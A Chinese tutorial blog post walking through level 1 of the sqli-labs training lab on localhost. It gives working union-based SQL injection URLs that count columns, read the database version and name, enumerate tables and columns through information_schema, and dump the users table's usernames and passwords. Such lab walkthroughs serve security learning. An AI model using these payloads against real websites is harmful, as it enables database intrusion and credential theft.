当前位置: 首页 > news >正文

SQL注入-sqli-labs-master第一关

实验环境:

Nginx.1.15.11

MySQL:5.7.26

实验步骤:

1.第一步:

                在id=1后加入一个闭合符号',如果报错,再在后面加上 --+ 将后面注释掉,如果不报错,则证明为字符型。

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --+

2.第二步:

                order by 查询字段个数,逐级增加order by 后面的数字,直到报错。这里是order by到第4个字段时报错,所以证明有3个字段。

三个字段

http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+

四个字段 

http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+

第三步:

                用select查询前三个字段,目的是为了知道哪几个字段在前端显示,这样我们可以将想要查询的数据将前端显示的字段替换掉,比如这里我想查询数据库版本,就用version()替换掉了2。注意前面的id=1要改为id=-1,目的是为了让前面的查询语句不执行,这样我们后面查询的version()才能够显示出来。

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+#这里使用联合查询id参数要为假
#显示位位2和3

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),3 --+

第四步:

                查询我们当前所使用的数据库,为的是后期查询表名。这里查询到的表名为security。 

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 --+

第五步:

                mysql5.0以上的版本有information_schema库,information_schema库中有我们所需要的表名与库名。我们先查询security数据库中的所有表的名字,并以一行输出的方式输出,因为如果不一行输出的话,前端只会显示查询的第一个表名。

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

第六步:

                现在我们知道了security数据库中的所有表名,我们需要查询password和username,常理下这些数据都会存储到users中,所以我们现在查询users这个表中的所有字段的名字是什么。

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

 第七步:

                现在我们知道了所用的库为security,所用的表是users,三个字段名分别为id,username,password,那么我们就可以进行最后一步,查询username和password的具体数据

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat( username,id,password) from users --+

http://www.lryc.cn/news/289666.html

相关文章:

  • 简述云原生基础定义及关键技术
  • 游戏中排行榜的后台实现
  • 《动手学深度学习(PyTorch版)》笔记3.1
  • 【贪吃蛇:C语言实现】
  • 01.领域驱动设计:微服务设计为什么要选择DDD学习总结
  • 写静态页面——魅族导航_前端页面练习
  • Go 命令行解析 flag 包之快速上手
  • React16源码: React中commitAllHostEffects内部的commitDeletion的源码实现
  • [机器学习]简单线性回归——梯度下降法
  • 2024年搭建幻兽帕鲁服务器价格多少?如何自建Palworld?
  • 『OpenCV-Python|鼠标作画笔』
  • 关于如何利用ChatGPT提高编程效率的
  • Excel VBA ——从MySQL数据库中导出一个报表-笔记
  • 金融OCR领域实习日志(一)——OCR技术从0到1全面调研
  • ELK日志解决方案
  • 嵌入式学习-驱动
  • 系统架构17 - 软件工程(5)
  • 空气质量预测 | Python实现基于线性回归、Lasso回归、岭回归、决策树回归的空气质量预测模型
  • MYSQL数据库基本操作-DQL-基本查询
  • gdb 调试 - 在vscode图形化展示在远程的gdb debug过程
  • Android 13.0 SystemUI下拉状态栏定制二 锁屏页面横竖屏时钟都居中功能实现二
  • docker 部署xxl-job
  • Kafka(九)跨集群数据镜像
  • 第3讲 谈谈final、finally、 finalize有什么不同?
  • MC3172 串口模块
  • VUE3 加载自定义SVG文件
  • 【数据分析】numpy基础第五天
  • CSS 双色拼接按钮效果
  • T05垃圾收集算法与垃圾收集器ParNew CMS
  • 每日一道面试题:Java中序列化与反序列化